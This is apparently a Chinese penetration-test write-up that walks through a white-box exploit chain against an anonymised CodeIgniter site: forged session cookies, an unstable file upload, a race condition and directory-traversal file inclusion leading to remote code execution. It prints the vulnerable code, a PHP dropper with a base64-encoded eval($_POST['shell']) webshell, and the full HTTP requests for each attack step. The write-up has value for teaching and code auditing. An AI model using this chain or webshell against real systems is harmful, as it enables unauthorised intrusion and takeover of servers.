在一次项目中,前期拿到了站点的源码,队里师傅白盒审出了一条曲折的利用链,现在对这条链的挖掘过程重新做一次复现并记录。
这条链涉及经典漏洞包括: session 伪造、任意文件上传、条件竞争、文件包含,每一个漏洞都非常经典,串在一起变成了一个 big boom。
前排说明:目标站点使用框架为 CodeIgniter,本文目的是技术研究和思路分享,涉及到关于目标站点的信息已被隐去,相关代码特征如变量、函数的命名也已替换,但代码的逻辑均保留,仍具备参考价值。
找到上传点
检索一遍没有发现明显的命令注入、代码注入。
转而找上传或文件写入漏洞,主要关注 file_put_contents 和 move_uploaded_files 等函数
在某一个上传接口 /uplaodController/uplaodMethod
中,找到如下代码段:
$fileInput = $_FILES;
$targetPath = "/tmp/";
$file = $targetPath . basename($fileInput['uploadedFile']['name']);
move_uploaded_file($fileInput['uploadedFile']['tmp_name'], $file);
$multipartParams = [
......
];
$result = apiRequest(
'POST',
......
$multipartParams
);
if (file_exists($file)) {
unlink($file);
}
代码的逻辑很清晰:
- 从 $_FILES 中提取出 uploadedFile 这个文件,保留上传时的文件名,并将其移动到 /tmp 目录下。
- 构造一个表单,其中 imageFile 参数即为第一步中被移动的文件,然后和其他参数一起 POST 向另一个接口。
- 经典“卸磨杀驴”,删除刚刚移动的文件。
然后这里就算是一个 “不稳定” 的文件上传点,路径为 /tmp/[上传文件名]
。
利用场景也 “被迫” 地让我们想好了:需要一个文件包含来和上面这段代码中的 unlink 操作进行竞争,在文件被删除之前包含它,来达到执行代码的效果。
找文件包含
目标是找到能控制文件路径的包含点,这里发现了一个 Meathods 类,它包含一个 method1 方法符合我们的需求。
public function method1()
{
header('Content-Type: application/json');
$response = array();
if ($this->input->is_ajax_request()) {
$data = $this->input->post(null, true);
if (empty($data)) {
$data = $this->input->get(null, true);
}
$class = $data['class'];
$method = $data['method'];
if ($this->isMethodAllowed($method)) {
unset($data['class']);
unset($data['method']);
$this->load->model($class);
$response = $this->$class->$method($data);
}
}
return;
}
这部分逻辑也很清晰
- is_ajax_request() 通过请求头 HTTP_X_REQUESTED_WITH 的值是否为 "XMLHttpRequest" 来判断是不是异步请求,如果不是,则返回一个 json 编码后的空数组。之后的漏洞利用过程中需要注意这个点;
- 从 post 参数中获取请求的变量,如果没有就从 get 参数中获取。post() 和 get() 两个函数的具体逻辑为遍历 $_POST 和 $_GET 来获取变量。(支持从 post 数据中获取参数的这一特性,在绕过 waf 方面能给我们提供更多选择)。
- 获取到对应的 $class 和 $method 之后,isMethodAllowed() 检查了被调用的方法是否被允许。
- 调用框架定义好的 this->load->model 方法来加载对应的类。
避免有什么框架定义好的限制,有必要看一下 this->load->model 的逻辑。
$this->load =& load_class('Loader', 'core');
load_class() 函数是框架与定义的函数,它会去对应的路径包含对应的文件,并加载其中的类,这样我们就找到了 this->load,也就有了 model 函数的代码:
public function model($model, $name = '', $db_conn = FALSE)
{
$path = '';
if (($last_slash = strrpos($model, '/')) !== FALSE)
{
$path = substr($model, 0, $last_slash + 1);
$model = substr($model, $last_slash + 1);
}
if ($name == '')
{
$name = $model;
}
$CI =& get_instance();
$model = strtolower($model);
foreach ($this->_ci_model_paths as $mod_path)
{
if ( ! file_exists($mod_path.'models/'.$path.$model.'.php'))
{
continue;
}
// 这里的 require_once 可以被利用来文件包含
require_once($mod_path.'models/'.$path.$model.'.php');
$CI->$name = new $model();
return;
}
......
}
开发常见的问题,相信了用户的输入,没有对输入进行足够的过滤,这个函数没有对传入的参数 $model 做严格的过滤,导致可以通过 "../" 进行目录穿越,从而可以实现对任意文件的包含。
那么再回到调用 model 的地方再看:
$this->load->model($class);
$response = $this->$class->$method($data);
实例化了目标类之后,还调用了相应的方法,可谓非常贴心了。
尝试利用
从目前已经掌握的漏洞点出发,已经可以构思出这个漏洞的利用方式,首先准备一个恶意的 php 文件准备上传:
<?php
class TempClass{
function __construct(){
print('in __construct()\n');
file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));
}
function getData1($params){
print('in getData1()\n');
}
}
包含这个恶意文件并实例化 TempClass 时,会调用构造函数写入一个 /tmp/TempClass2.php,内容为:
<?php
class TempClass2{
function __construct(){
print('in __contruct\n');
eval($_POST['shell']);
}
function getData1($params){
print('in getData1');
var_dump($params);
}
}
那么,接下来需要找到这个上传的入口,在一处 js 中找到了对应的代码:
$('.form-file').on('change', function () {
......
$(formId + '.form-uplaod').val(file[0].name);
var formData = new FormData();
formData.append('uploadedFile', file[0]);
......
});
......
context.methodsCall = function(formData) {
......
$.ajax({
url: '/uplaodController/uplaodMethod/',
type: 'POST',
data: formData,
dataType: 'json',
......
success: function (data) {
......
}
});
}
从前端页面找到这个接口似乎不太方便,但是从 js 的逻辑中构建出请求包倒也不困难。
只是遗憾的是,尝试访问之后发现这个上传接口不能随意访问,所以还得从程序入口开始审计哪里做了鉴权。
找到鉴权
代码定义了 Hooks 类,在对每一个控制器的进行操作前,都会先调用若干个 hooks 中定义的方法,其中和鉴权相关的方法位于:hooks/auth.php
鉴权相关的函数为 permissionCheck():
function permissionCheck() {
......
$user = $CI->load->get_var('auth_user');
$permissions = $user['permissions'];
......
if (! in_array($action, $allow)) {
if (! isset($permissions[$controller][$action])) {
......
redirect('permissions/unauthorized');
}
}
}
这里可以看到,我们想要调用的方法,需要在 $user['permissions'] 中被指定,$user 从 $CI->load->get_var('auth_user') 中来,auth_user
刚好在另一个 hooks 方法 loginCheck() 中被设置。
function loginCheck() {
......
if ($CI->router->method != 'login' && !$CI->session->userdata('logged_in')) {
redirect('users/login');
}
elseif ($CI->session->userdata('logged_in')) {
$user = new User;
$user = $user->findUserById($CI->session->userdata('logged_in'));
if (empty($user)) {
$CI->session->destroySess();
redirect('users/login');
}
elseif (empty($user['permissions'])) {
$CI->session->destroySess();
redirect('users/login');
}
else {
$CI->session->setUserdata('user', $user);
$CI->load->vars('auth_user', $user);
}
if ($CI->router->method == 'login') redirect('users');
}
}
直接来看 elseif 部分,对于已经登陆的用户,会根据用户 id 用 findUserById() 到数据库中查询相应的信息,其中包含一个 permissions 字段,似乎看到了我们想要的东西,之后又将用户信息用 $CI->load->vars 设置为一个 auth_user
变量,也就是 permissionCheck() 函数中参数的来源,
来看一下 findUserById() 具体操作了哪些数据库:
public function findUserById($id = null) {
if ($id) {
$q = Doctrine_Query::create()
->from('User u')
->leftJoin('u.Role r')
->leftJoin('r.Permission p')
->leftJoin('u.Sessions s')
->where('u.id = ?', $id);
$user = $q->fetchOne();
Doctrine_Manager::connection()->close();
if (empty($user)) {
return array();
}
else {
$user = $user->toArray();
$permissions = array();
if (isset($user['Role']['Permission']) && !empty($user['Role']['Permission'])) {
foreach ($user['Role']['Permission'] as $permission) {
$permissions[$permission['controller']][$permission['action']] = $permission['id'];
}
}
$customData = $this->_unserialize($user['user_data']);
array_merge($permisssions, $customData['permission']);
$user['permissions'] = $permissions;
return $user;
}
}
else {
return array();
}
}
跟踪 findUserById() 的逻辑发现,主要进行了数据库查询操作,但是对于 $permissions,还有一部分来自 session 相关的数据库。
session 伪造
常规数据库可能没办法直接修改,但是 session 数据库也许会伴随用户状态的改变而修改,那么如果 session 数据库中的信息可控,也可以达到我们的目的。
在 Session.php 中可以找到对 cookie 的相应操作。
if ( ! $this->readSess())
{
$this->createSess();
}
else
{
$this->updateSess();
}
$this->markFlashdata();
首先看一下 readSess() 函数
function readSess()
{
$session = $this->CI->input->cookie($this->sess_cookie_name);
...... (省略部分校验逻辑)
if ($this->sess_encrypt_cookie == TRUE)
{
$session = $this->CI->encrypt->decode($session);
}
$session = $this->_unserialize($session);
......(校验 User-Agent / IP / last_activity 相关)
if ($this->sess_use_database === TRUE)
{
......(通过数据库校验 User-Agent / IP / last_activity 相关)
$query = $this->CI->db->get($this->sess_table_name);
......
$row = $query->row();
if (isset($row->user_data) AND $row->user_data != '')
{
$customData = $this->_unserialize($row->user_data);
if (is_array($customData))
{
foreach ($customData as $key => $val)
{
$session[$key] = $val;
}
}
}
}
$this->userdata = $session;
unset($session);
return TRUE;
}
看起来都是常规的操作,
- 首先校验了 cookie 的合法性,在设置 cookie 时就用了尾部的签名了来做校验;(这部分逻辑在代码中省略)
- 紧接着判断 cookie 中的其他特征,UA、ip 地址、过期时间等等是否合法;
- 最后还有一些用户自定义的数据,这些自定义数据先从数据库中取得的,也被放到了 $session 变量中。
然而 $session 变量最开始却是从这里来的:$session = $this->_unserialize($session);
当然这里似乎还有潜在的反序列化漏洞,不过暂且先不关注。 $session 最后在 $this->userdata = $session; 所以,如果我们直接在 cookie 中构造相应的数据结构,当它被反序列化到 $session 变量后,仍然可以被保存到 userdata 中。
紧接着 readSess() 之后, markFlashdata() 中调用了 setUserdata() 更新 $userdata,更进一步调用 writeSess() 写入到数据库中,
function setUserdata($newdata = array(), $newval = '')
{
if (count($newdata) > 0)
{
foreach ($newdata as $key => $val)
{
$this->userdata[$key] = $val;
}
}
$this->writeSess();
}
然后是 writeSess(),这里将 $userdata 做了分类处理,并写入了数据库
function writeSess()
{
......
$customUserdata = $this->userdata;
$cookieUserdata = array();
foreach (array(.....) as $val)
{
unset($customUserdata[$val]);
$cookieUserdata[$val] = $this->userdata[$val];
}
$customUserdata = $this->_serialize($customUserdata);
$this->CI->db->where('session_id', $this->userdata['session_id']);
$this->CI->db->update($this->sess_table_name, array(......, 'user_data' => $customUserdata));
......
}
调用 writeSess() 函数将除部分特殊字段之外其他字段作为 “自定义数据” 以关键字 user_data 存入数据库中,这也是我们想要操作的数据。
接下来就要着手伪造 cookie 了,本地执行对应的加解密算法。
加密部分:
function encode($string, $key = '')
{
$key = $this->get_key($key);
$enc = $this->cryptEncode($string, $key);
return base64_encode($enc);
}
解密部分:
function decode($string, $key = '')
{
$key = $this->getKey($key);
if (preg_match('/[^a-zA-Z0-9\/\+=]/', $string))
{
return FALSE;
}
$dec = base64_decode($string);
if (($dec = $this->cryptDecode($dec, $key)) === FALSE)
{
return FALSE;
}
return $dec;
}
$key 可以在配置文件中拿到。
具体 cryptDecode() 和 cryptEncode() 的代码很长,此处省略。
正式攻击
首先用已经掌握的低权限账号密码登陆,登陆之后会得到一个已经 "logged_in" 的 cookie。
例如:
ci_session=xfaaLHsFHaexzWJQii6sC/Us7ydR6Y3PWILpwx1L5Hqlqu9SLVvO1uIjUWFsi4DhQl+FRvb3WjNASlaKYuT33PLMUSVxwWzMneuXUUWfhvAyu7hqq2nrn1TV044A9H77vkZ98dpBbHGzG5vXW0XBioeDL14f6Zp+0iho59bgTdqmibgEz1wfi6JUcUeKQ+eA4Hso+B42mMSC1V1m3MewyWqVhiiKL8ZgHexjnkeHOcty+0l+iBX2biiSEtQz0GJDPU3OoKmwF2M8MnkfNDFh6DhgwfH26LBVWmiUrJm75yBh6VyYkwboLixBYlHuc0Z4mzWYg+VOxWcjRFF6dzJ37NU8rXQYJap2XlSU3Yqc+N97YgRrMo6yLOPP9IakkM+YcqyImXF1zb77KKh5pIgqPFZR9xekt9p8EvtUpQKZrg8=824f09cccb5cf704340df4b5c205c26c5e9e52c2
解密之后:
a:4:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxx;}
给这个序列化字符串加一点东西上去:
a:5:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxxxxx;s:10:"permission";a:1:{s:16:"uploadController";a:1:{s:12:"uploadMethod";s:1:"1";}}}
然后调用加密函数再生成新的 cookie:
ci_session=wFGkjcdbNDRwLaIh3t+AkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM+9iRbYEqt2B/V+Mcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa+4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO+cejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL+aSSFL2VilJEQTr+UxZ28NNERMkPlALDjy03itGFjf3+F1Y7m+rSCcfFMBpWPDpSA5v3uoFYgc44HB+HyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm+yeJ/2wDbQ+E+IjgdZcrFGtKZwzZafaBH+2pcDG2Tbo=5c154e08c40a5d6a7652d8700429971065e97e07
具体利用过程中用到的请求包:
第一步: 利用伪造的 cookie 进行上传
part1:
POST /uplaodController/uplaodMethod HTTP/1.1
......
Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07
Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37ac
Content-Length: xxx
--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="uploadedFile"; filename="TempClass.php"
Content-Type: image/png
<?php
class TempClass{
function construct(){
print('in construct()\n');
file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));
}
function getData1($params){
print('in getData1()\n');
}
}
?>
--------------------------85a71e8a43af37ac--
第二部,因为需要条件竞争,可以考虑把这个上传包放到 intruder 里重放个几百次,然后在上传的过程中,去尝试包含 /tmp/TempClass.php ,来达到竞争的效果。
part2:
POST /Meathods/method1 HTTP/1.1
......
Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07
Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37ac
Content-Length: 314
--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="class"
../../../../../../../../../../../../../../../../../../../../tmp/TempClass
--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="method"
getData1
--------------------------85a71e8a43af37ac--
第三步,一旦包含成功,那么在实例化 TempClass 的时候,会写入一个新的 TempClass2,这下可没有代码会去 unlink 它了,可以被稳定的利用。
part3:
POST /Meathods/method1 HTTP/1.1
......
Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07
Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37ac
Content-Length: 433
--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="class"
../../../../../../../../../../../../../../../../../../../../tmp/TempClass2
--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="method"
getData1
--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="shell"
var_dump("hello,world");
--------------------------85a71e8a43af37ac--
OK, 打完收工。
review
稍微来总结一下整条利用链:
- 找到文件上传 -> 一个 “不稳定” 的文件上传
- 找文件包含 -> 目录穿越导致任意文件包含
- 条件竞争 -> 结合 1、2 条件竞争获得 RCE
- 找权限控制 -> 伪造 cookie 得到任意接口的访问权限